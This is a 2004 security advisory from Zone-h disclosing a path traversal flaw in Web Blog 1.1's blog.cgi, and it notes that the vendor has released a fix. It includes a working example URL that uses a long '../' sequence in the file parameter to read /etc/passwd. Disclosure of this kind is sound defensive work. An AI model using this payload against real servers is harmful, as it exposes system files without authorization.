ZH2004-01SA (security advisory): Web Blog 1.1 Remote arbitrary files retrieving Published: 28 january 2004 Released: 28 january 2004 Name: Web Blog Affected Systems: 1.1 Issue: Remote file retrieving Author: Zone-h Security Labs Vendor: http://leifwright.com Description *********** Zone-h Security Team has discovered a flaw in Web Blog 1.1. There is a vulnerability in the current version of Web Blog that allows an attacker to retrieve arbitrary files from the webserver with its priviledges. Web Blog is an application to manage blogs. Details ******* It's possibile for a remote attacker to retrieve any file from a webserver. For example try this: http://address/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=/../../../../../../../../../../../../../../../../etc/passwd Solution: ********* The vendor has been contacted and a new version was released. Zone-h Security Labs - zetalabs@zone-h.org http://www.zone-h.org/en/advisories/read/id=3822/
